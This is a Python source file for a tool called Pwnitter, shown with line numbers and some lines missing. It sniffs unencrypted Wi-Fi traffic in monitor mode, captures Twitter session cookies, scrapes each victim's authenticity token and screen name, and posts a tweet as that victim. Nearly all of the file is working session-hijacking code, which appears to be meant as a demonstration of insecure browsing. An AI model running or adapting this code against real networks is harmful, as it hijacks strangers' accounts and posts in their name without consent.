3 # * apt-get install libpcap0.8 python-pypcap python-dpkt
4 # * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 # * ./idiocy.py -i mon0
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
18 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
21 print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0]
24 NAME = 'de.cryptobitch.muelli.Pwnitter'
26 class Pwnitter(dbus.service.Object):
27 def __init__(self, bus, object_name, device='mon0'):
28 super(Pwnitter, self).__init__(bus, object_name)
32 self.is_running = False
34 def setup_monitor(device='mon0'):
35 # FIXME: Replace hardcoded interface
36 cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
38 cmd = '/sbin/ifconfig mon0 up'.split()
41 @dbus.service.method(NAME,
42 in_signature='', out_signature='')
43 def Start(self, filename=None):
44 # FIXME: Prevent double Start()
45 if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
46 self.setup_monitor(device)
48 else: # We have given a filename, so let's make PCap read from the file
50 self.is_running = True
52 self.cap = pcap.pcap(device)
54 print "Error setting up %s" % device
56 self.cap.setfilter('dst port 80')
57 cap_fileno = self.cap.fileno()
58 self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
60 @dbus.service.method(NAME,
61 in_signature='s', out_signature='')
62 def StartFromFile(self, filename):
63 return self.Start(filename=filename)
66 def cap_readable_callback(self, source, condition, device):
67 return self.pwn(device, self.MessageSent)
69 @dbus.service.signal(NAME)
70 def MessageSent(self, who):
71 print "Emitting MessageSent"
76 @dbus.service.method(NAME,
77 in_signature='s', out_signature='')
78 def SetMessage(self, message):
81 @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
82 in_signature='', out_signature='s')
87 def tear_down_monitor(self, device='mon0'):
88 cmd = '/sbin/ifconfig mon0 down'.split()
90 cmd = '/usr/sbin/iw dev mon0 del'.split()
93 @dbus.service.method(NAME,
94 in_signature='', out_signature='')
96 self.is_running = False
98 gobject.source_remove(self.source_id)
99 self.tear_down_monitor(self.device)
103 def pwn(self, device, tweeted_callback=None):
105 if self.is_running: # This is probably not needed, but I feel better checking it more than too less
106 ts, raw = self.cap.next()
107 eth = dpkt.ethernet.Ethernet(raw)
108 #print 'got a packet'
109 # Depending on platform, we can either get fully formed packets or unclassified radio data
110 if isinstance(eth.data, str):
113 data = eth.data.data.data
115 hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
118 host = hostMatches.group(1)
120 cookieMatches = re.search('Cookie: ([^\n]+)', data)
122 cookie = cookieMatches.group(1)
125 "User-Agent": "Mozilla/5.0",
129 conn = httplib.HTTPSConnection(host)
131 conn.request("GET", "/", None, headers)
132 except socket.error, e:
135 response = conn.getresponse()
136 page = response.read()
138 # Newtwitter and Oldtwitter have different formatting, so be lax
141 formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
143 authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
146 authToken = authMatches.group(1)
148 nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
150 nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
154 name = nameMatches.group(1)
157 # We don't want to repeatedly spam people
158 # FIXME: What the fuck logic. Please clean up
159 if not ((not name and host != 'mobile.twitter.com') or name in processed):
161 "User-Agent": "Mozilla/5.0",
162 "Accept": "application/json, text/javascript, */*",
163 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
164 "X-Requested-With": "XMLHttpRequest",
166 "Referer": "http://api.twitter.com/p_receiver.html",
171 print 'Issueing connection'
172 if host == 'mobile.twitter.com':
174 params = urllib.urlencode({
175 'tweet[text]': self.status,
176 'authenticity_token': authToken
179 conn = httplib.HTTPConnection("mobile.twitter.com")
180 conn.request("POST", "/", params, headers)
184 params = urllib.urlencode({
185 'status': self.status,
186 'post_authenticity_token': authToken
189 conn = httplib.HTTPConnection("api.twitter.com")
190 conn.request("POST", "/1/statuses/update.json", params, headers)
193 response = conn.getresponse()
194 print 'Got response: %s' % response.status
195 if response.status == 200 or response.status == 302 or response.status == 403:
200 # 403 is a dupe tweet
201 if response.status != 403:
202 print "Successfully tweeted as %s" % name
203 print 'calling %s' % tweeted_callback
205 tweeted_callback(name)
207 print 'Already tweeted as %s' % name
211 print "FAILED to tweet as %s, debug follows:" % name
212 print response.status, response.reason
213 print response.read() + "\n"
214 return self.is_running # Execute next time, we're idle
215 # FIXME: Ideally, check whether Pcap has got data for us
219 opts, args = getopt.getopt(sys.argv[1:], 'i:h')
230 if __name__ == '__main__':
231 from optparse import OptionParser
232 parser = OptionParser("usage: %prog [options]")
233 parser.add_option("-l", "--loglevel", dest="loglevel",
234 help="Sets the loglevel to one of debug, info, warn, error, critical")
235 parser.add_option("-s", "--session", dest="use_session_bus",
236 action="store_true", default=False,
237 help="Bind Pwnitter to the SessionBus instead of the SystemBus")
238 (options, args) = parser.parse_args()
239 loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
240 'warn': logging.WARN, 'error': logging.ERROR,
241 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
242 logging.basicConfig(level=loglevel)
243 #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
244 log = logging.getLogger("Main")
246 dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
248 if options.use_session_bus:
249 session_bus = dbus.SessionBus()
251 session_bus = dbus.SystemBus()
252 name = dbus.service.BusName(NAME, session_bus)
253 pwnitter = Pwnitter(session_bus, '/Pwnitter')
256 loop = gobject.MainLoop()
257 log.info("Running example signal emitter service.")
258 # FIXME: This is debug code
259 #gobject.idle_add(pwnitter.MessageSent)
262 print "Exiting for whatever reason"